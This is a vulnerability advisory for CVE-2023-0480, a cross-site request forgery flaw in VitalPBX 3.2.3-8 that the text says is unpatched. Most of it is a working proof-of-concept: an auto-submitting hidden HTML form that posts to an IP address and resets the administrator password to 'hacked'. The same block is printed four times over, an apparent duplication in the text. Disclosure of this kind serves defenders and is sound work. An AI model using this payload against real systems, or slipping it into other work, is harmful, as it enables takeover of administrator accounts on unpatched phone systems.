Description
VitalPBX version 3.2.3-8 allows an unauthenticated external attacker to obtain the instance administrator's account. This is possible because the application is vulnerable to CSRF.
Vulnerability
This vulnerability occurs because the application is vulnerable to CSRF.
Exploit
To exploit this vulnerability, we only need to send the administrator a malicious HTML like the following.
<!DOCTYPE html>
<html>
<body>
<form action="http://137.184.73.151/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="user_id" value="1" />
<input type="hidden" name="class" value="user_profile" />
<input type="hidden" name="method" value="put" />
<input type="hidden" name="mode" value="edit" />
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="password" value="hacked" />
<input type="hidden" name="role" value="1" />
<input type="hidden" name="startapp" value="dashboard" />
<input type="hidden" name="startapp_custom" value="" />
<input type="hidden" name="displayname" value="Administrator" />
<input type="hidden" name="department" value="Administración" />
<input type="hidden" name="userphoto" value="" />
<input type="hidden" name="userphoto" value="" />
<input type="hidden" name="userphoto_configured" value="" />
<input type="hidden" name="theme" value="vital_pbx" />
<input type="hidden" name="locale" value="en_US" />
<input type="hidden" name="timezone" value="system" />
<input type="hidden" name="multitab" value="1" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<body>
<form action="http://137.184.73.151/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="user_id" value="1" />
<input type="hidden" name="class" value="user_profile" />
<input type="hidden" name="method" value="put" />
<input type="hidden" name="mode" value="edit" />
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="password" value="hacked" />
<input type="hidden" name="role" value="1" />
<input type="hidden" name="startapp" value="dashboard" />
<input type="hidden" name="startapp_custom" value="" />
<input type="hidden" name="displayname" value="Administrator" />
<input type="hidden" name="department" value="Administración" />
<input type="hidden" name="userphoto" value="" />
<input type="hidden" name="userphoto" value="" />
<input type="hidden" name="userphoto_configured" value="" />
<input type="hidden" name="theme" value="vital_pbx" />
<input type="hidden" name="locale" value="en_US" />
<input type="hidden" name="timezone" value="system" />
<input type="hidden" name="multitab" value="1" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<body>
<form action="http://137.184.73.151/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="user_id" value="1" />
<input type="hidden" name="class" value="user_profile" />
<input type="hidden" name="method" value="put" />
<input type="hidden" name="mode" value="edit" />
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="password" value="hacked" />
<input type="hidden" name="role" value="1" />
<input type="hidden" name="startapp" value="dashboard" />
<input type="hidden" name="startapp_custom" value="" />
<input type="hidden" name="displayname" value="Administrator" />
<input type="hidden" name="department" value="Administración" />
<input type="hidden" name="userphoto" value="" />
<input type="hidden" name="userphoto" value="" />
<input type="hidden" name="userphoto_configured" value="" />
<input type="hidden" name="theme" value="vital_pbx" />
<input type="hidden" name="locale" value="en_US" />
<input type="hidden" name="timezone" value="system" />
<input type="hidden" name="multitab" value="1" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<body>
<form action="http://137.184.73.151/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="user_id" value="1" />
<input type="hidden" name="class" value="user_profile" />
<input type="hidden" name="method" value="put" />
<input type="hidden" name="mode" value="edit" />
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="password" value="hacked" />
<input type="hidden" name="role" value="1" />
<input type="hidden" name="startapp" value="dashboard" />
<input type="hidden" name="startapp_custom" value="" />
<input type="hidden" name="displayname" value="Administrator" />
<input type="hidden" name="department" value="Administración" />
<input type="hidden" name="userphoto" value="" />
<input type="hidden" name="userphoto" value="" />
<input type="hidden" name="userphoto_configured" value="" />
<input type="hidden" name="theme" value="vital_pbx" />
<input type="hidden" name="locale" value="en_US" />
<input type="hidden" name="timezone" value="system" />
<input type="hidden" name="multitab" value="1" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Evidence of exploitation

Our security policy
We have reserved the ID CVE-2023-0480 to refer to this issue from now on. Disclosure policy
System Information
VitalPBX
Version: 3.2.3-8
Operating System: GNU/Linux
References
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.